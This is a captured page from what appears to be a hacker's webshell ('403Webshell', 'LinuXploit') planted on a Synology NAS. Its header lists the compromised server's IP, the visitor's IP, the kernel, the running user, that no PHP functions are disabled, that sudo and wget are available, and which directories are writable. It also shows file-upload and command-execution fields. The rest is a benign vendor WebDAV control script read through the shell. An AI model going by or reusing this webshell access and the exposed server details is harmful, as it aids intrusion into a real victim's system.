403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/@appstore/WebDAVServer/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/@appstore/WebDAVServer/scripts/synowebdavserver_httpd_control.sh
#!/bin/sh
# Copyright (c) 2000-2013 Synology Inc. All rights reserved.

PATH_PREFIX="/var/packages/WebDAVServer/target"
BIN_GENERATE_AVAHI_CFG="$PATH_PREFIX/scripts/synowebdavserver_create_avahi_cfg.sh"

SERVICE_CONF="$PATH_PREFIX/etc/webdav.cfg"
BIN_GET_KEY_VALUE="/usr/syno/bin/synogetkeyvalue"

WEBDAV_PORT=$($BIN_GET_KEY_VALUE $SERVICE_CONF http_port)
WEBDAV_SSL_PORT=$($BIN_GET_KEY_VALUE $SERVICE_CONF https_port)
RunWEBDAV=$($BIN_GET_KEY_VALUE $SERVICE_CONF enable_http)
RunWEBDAVHTTPS=$($BIN_GET_KEY_VALUE $SERVICE_CONF enable_https)
RunCALDAV=$($BIN_GET_KEY_VALUE $SERVICE_CONF enable_caldav)
EnableAnonymous=$($BIN_GET_KEY_VALUE $SERVICE_CONF enable_anonymous)
EnableDAVDepthInfinity=$($BIN_GET_KEY_VALUE $SERVICE_CONF enable_depth_infinity)
EnableCustomizedMaxConnections=$($BIN_GET_KEY_VALUE $SERVICE_CONF enable_customized_max_connections)
MaxConnections=$($BIN_GET_KEY_VALUE $SERVICE_CONF max_connections)

Httpd="$PATH_PREFIX/usr/sbin/httpd"
HttpdConf="$PATH_PREFIX/etc/httpd/conf/httpd.conf-webdav"
HttpdSSLConf="$PATH_PREFIX/etc/httpd/conf/extra/httpd-ssl.conf-webdav"
HttpdSSLConfCipher="$PATH_PREFIX/etc/httpd/conf/extra/httpd-ssl.conf-cipher-webdav"
HttpdMpmConf="$PATH_PREFIX/etc/httpd/conf/extra/httpd-mpm.conf-webdav"
PROCNAME="httpd"
PIDFILE="/run/httpd/httpd-webdav.pid"

CGIKEYGEN="/usr/syno/bin/cgi-keygen"
INTERCRT="/usr/local/etc/certificate/WebDAVServer/webdav/chain.pem"

. /etc.defaults/rc.subr

GenerateConf()
{
	$BIN_GENERATE_AVAHI_CFG start

	DAV_LINE="Listen"
	if [ "no" = "$RunWEBDAV" -a "yes" = "$RunWEBDAVHTTPS" ]; then
		DAV_AWK="/^L/,\"#L\""
	else
		DAV_AWK="/^#L/,\"L\""
	fi

	cp -f ${HttpdConf} ${HttpdConf}.$$
	if [ $? -ne 0 ]; then
		logger -p user.err -t $(basename $0) "backup ${HttpdConf} failed."
		rm -f ${HttpdConf}.$$
		return 1
	fi
	if [ "no" = "$RunWEBDAV" -a "yes" = "$RunWEBDAVHTTPS" ]; then
		sed -e "/^Listen/c\\Listen ${WEBDAV_SSL_PORT}" -e "/^ServerName/c\\ServerName *:${WEBDAV_SSL_PORT}" ${HttpdConf} > ${HttpdConf}.$$
	else
		sed -e "/^Listen/c\\Listen ${WEBDAV_PORT}" -e "/^ServerName/c\\ServerName *:${WEBDAV_PORT}" ${HttpdConf} > ${HttpdConf}.$$
	fi
	if [ -s "${HttpdConf}.$$" ]; then
		mv ${HttpdConf}.$$ ${HttpdConf}
	fi

	cp -f ${HttpdConf} ${HttpdConf}.$$
	if [ $? -ne 0 ]; then
		logger -p user.err -t $(basename $0) "backup ${HttpdConf} failed."
		rm -f ${HttpdConf}.$$
		return 1
	fi
	sed -e "/LoadModule dav_acl_module/d" -e "/LoadModule caldav_module/d" ${HttpdConf} > ${HttpdConf}.$$
	if ! grep "LoadModule synobandwidth_module modules/mod_synobandwidth.so" ${HttpdConf}; then
		echo "LoadModule synobandwidth_module modules/mod_synobandwidth.so" >> ${HttpdConf}.$$
	fi
	if [ -s "${HttpdConf}.$$" ]; then
		mv ${HttpdConf}.$$ ${HttpdConf}
	fi

	cp -f ${HttpdConf} ${HttpdConf}.$$
	if [ "yes" = "$EnableAnonymous" ]; then
		sed -e "/^LoadModule authn_anon_module/c\\LoadModule authn_anon_module modules\/mod_authn_anon.so" \
			-e "/^#LoadModule authn_anon_module/c\\LoadModule authn_anon_module modules\/mod_authn_anon.so" \
			-e "/^  AuthBasicProvider/c\\  AuthBasicProvider socache anon PAM" \
			${HttpdConf} > ${HttpdConf}.$$
	else
		sed -e "/^LoadModule authn_anon_module/c\\#LoadModule authn_anon_module modules\/mod_authn_anon.so" \
			-e "/^#LoadModule authn_anon_module/c\\#LoadModule authn_anon_module modules\/mod_authn_anon.so" \
			-e "/^  AuthBasicProvider/c\\  AuthBasicProvider socache PAM" \
			${HttpdConf} > ${HttpdConf}.$$
	fi
	if [ -s "${HttpdConf}.$$" ]; then
		mv ${HttpdConf}.$$ ${HttpdConf}
	fi

	cp -f ${HttpdConf} ${HttpdConf}.$$
	if [ "yes" = "$EnableDAVDepthInfinity" ]; then
		sed -e "/^  DavDepthInfinity/c\\  DavDepthInfinity on" ${HttpdConf} > ${HttpdConf}.$$
	else
		sed -e "/^  DavDepthInfinity/c\\  DavDepthInfinity off" ${HttpdConf} > ${HttpdConf}.$$
	fi
	if [ -s "${HttpdConf}.$$" ]; then
		mv ${HttpdConf}.$$ ${HttpdConf}
	fi

	cp -f ${HttpdSSLConf} ${HttpdSSLConf}.$$
	if [ $? -ne 0 ]; then
		logger -p user.err -t $(basename $0) "backup ${HttpdSSLConf} failed."
		rm -f ${HttpdSSLConf}.$$
		return 1
	fi

	sed -e "/^Listen/c\\Listen ${WEBDAV_SSL_PORT}" \
		-e "/^<VirtualHost/c\\<VirtualHost *:${WEBDAV_SSL_PORT}>" \
		${HttpdSSLConf} | awk "{if(/${DAV_LINE}/)sub(${DAV_AWK});print}" > ${HttpdSSLConf}.$$

	if [ -s "${HttpdSSLConf}.$$" ]; then
		mv ${HttpdSSLConf}.$$ ${HttpdSSLConf}
	fi

	if [ "yes" != "$EnableCustomizedMaxConnections" ] || [ "" = "$MaxConnections" ]; then
		MaxConnections="150"
	fi

	cp -f ${HttpdMpmConf} ${HttpdMpmConf}.$$
	if [ $? -ne 0 ]; then
		logger -p user.err -t $(basename $0) "backup ${HttpdMpmConf} failed."
		rm -f ${HttpdMpmConf}.$$
		return 1
	fi
	sed -e "/^    ServerLimit/c\\    ServerLimit ${MaxConnections}" \
		-e "/^    MaxRequestWorkers/c\\    MaxRequestWorkers ${MaxConnections}" ${HttpdMpmConf} > ${HttpdMpmConf}.$$
	if [ -s "${HttpdMpmConf}.$$" ]; then
		mv ${HttpdMpmConf}.$$ ${HttpdMpmConf}
	fi

	rm -f ${HttpdConf}.$$ ${HttpdSSLConf}.$$ ${HttpdMpmConf}.$$ 2>/dev/null

	if [ -s ${HttpdSSLConfCipher} ]; then
		if [ -f "$INTERCRT" ]; then
			sed -e "/^#SSLCertificateChainFile/c\\SSLCertificateChainFile $INTERCRT" \
			${HttpdSSLConfCipher} > ${HttpdSSLConfCipher}.$$
		else
			sed -e "/^SSLCertificateChainFile/c\\#SSLCertificateChainFile $INTERCRT" \
			${HttpdSSLConfCipher} > ${HttpdSSLConfCipher}.$$
		fi

		if [ -s "${HttpdSSLConfCipher}.$$" ]; then
			mv ${HttpdSSLConfCipher}.$$ ${HttpdSSLConfCipher}
		fi

		rm -f ${HttpdSSLConfCipher}.$$ 2>/dev/null
	fi

	/usr/syno/etc/rc.sysv/avahi.sh webdav-conf
	/usr/syno/etc/rc.sysv/avahi.sh webdavs-conf
}

TmpSleep()
{
	lsb_status $PROCNAME $PIDFILE
	BUSYWAIT=$?
	TIMEOUT=0
	EXITVALUE=0
	while [ ! $BUSYWAIT -eq $1 ]
	do
		lsb_status $PROCNAME $PIDFILE
		BUSYWAIT=$?
		sleep 1
		TIMEOUT=$(($TIMEOUT+1))
		if [ $TIMEOUT = 30 ] ; then
			echo "Time out: wait more than 30 seconds!"
			EXITVALUE=1
			break
		fi
	done
	return $EXITVALUE
}

WaitPidKilled()
{
	TIMEOUT=0
	EXITVALUE=0
	while ps -p "$1" > /dev/null; do
		sleep 1
		TIMEOUT=$(($TIMEOUT+1))
		if [ $TIMEOUT = 30 ] ; then
			echo "Time out: wait more than 30 seconds!"
			EXITVALUE=1
			break
		fi
	done
	return $EXITVALUE
}

# check for pidfile
if [ -f $PIDFILE ] ; then
	PID=$(cat $PIDFILE)
	if [ "x$PID" != "x" ] && kill -0 $PID 2>/dev/null ; then
		STATUS="httpd (pid $PID) running"
		RUNNING=1
	else
		STATUS="httpd (pid $PID?) not running"
		RUNNING=0
	fi
else
	STATUS="httpd (no pid file) not running"
	RUNNING=0
fi

case $1 in
[Ss][Tt][Oo][Pp])
	$BIN_GENERATE_AVAHI_CFG stop

	if [ $RUNNING -eq 0 ]; then
		echo $STATUS
	else
		if kill $PID ; then
			WaitPidKilled $PID
			echo "$0: webdav httpd stopped"
		else
			echo "$0: webdav httpd could not be stopped"
			exit 1;
		fi
	fi
	;;
[Ss][Tt][Aa][Rr][Tt])
	$CGIKEYGEN > /dev/null 2>&1 &
	if [ ! -x "$Httpd" ]; then
		echo "$Httpd is not executable."
		exit 1;
	fi

	if [ $RUNNING -eq 1 ]; then
		echo "$0 $ARG: httpd (pid $PID) already running"
	else
		GenerateConf

		mkdir -p /var/log/webdav /run/httpd

		if [ "yes" = "$RunWEBDAVHTTPS" -o "yes" = "$RunWEBDAV" ]; then
			startArg=""
			if [ "yes" = "$RunWEBDAVHTTPS" ]; then
				startArg="$startArg -DSSL"
			fi

			startArg="$startArg -f ${HttpdConf}"

			echo "Start WebDav Apache Server ..... $startArg"
			if $Httpd $startArg; then
				echo "$0: webdav httpd started"
				TmpSleep $LSB_STAT_RUNNING
				if [ $? -ne 0 ]; then
					exit 1
				fi
			else
				echo "$0: webdav httpd could not be started"
				exit 1;
			fi
		fi
	fi
	;;
[Rr][Ee][Ll][Oo][Aa][Dd])
	GenerateConf
	# https://httpd.apache.org/docs/2.4/stopping.html#hup
	kill -HUP $(cat $PIDFILE)
	exit $?
	;;
[Rr][Ee][Ss][Tt][Aa][Rr][Tt])
	if [ $RUNNING -eq 0 ]; then
		$0 start
	else
		$0 stop && $0 start
	fi
	exit $?
	;;
[Ss][Tt][Aa][Tt][Uu][Ss])
	lsb_status $PROCNAME $PIDFILE
	exit $?
	;;
*)
	echo "Usage: $0 [start|stop|restart|status]"
	;;
esac
exit 0;

Youez - 2016 - github.com/yon3zu
LinuXploit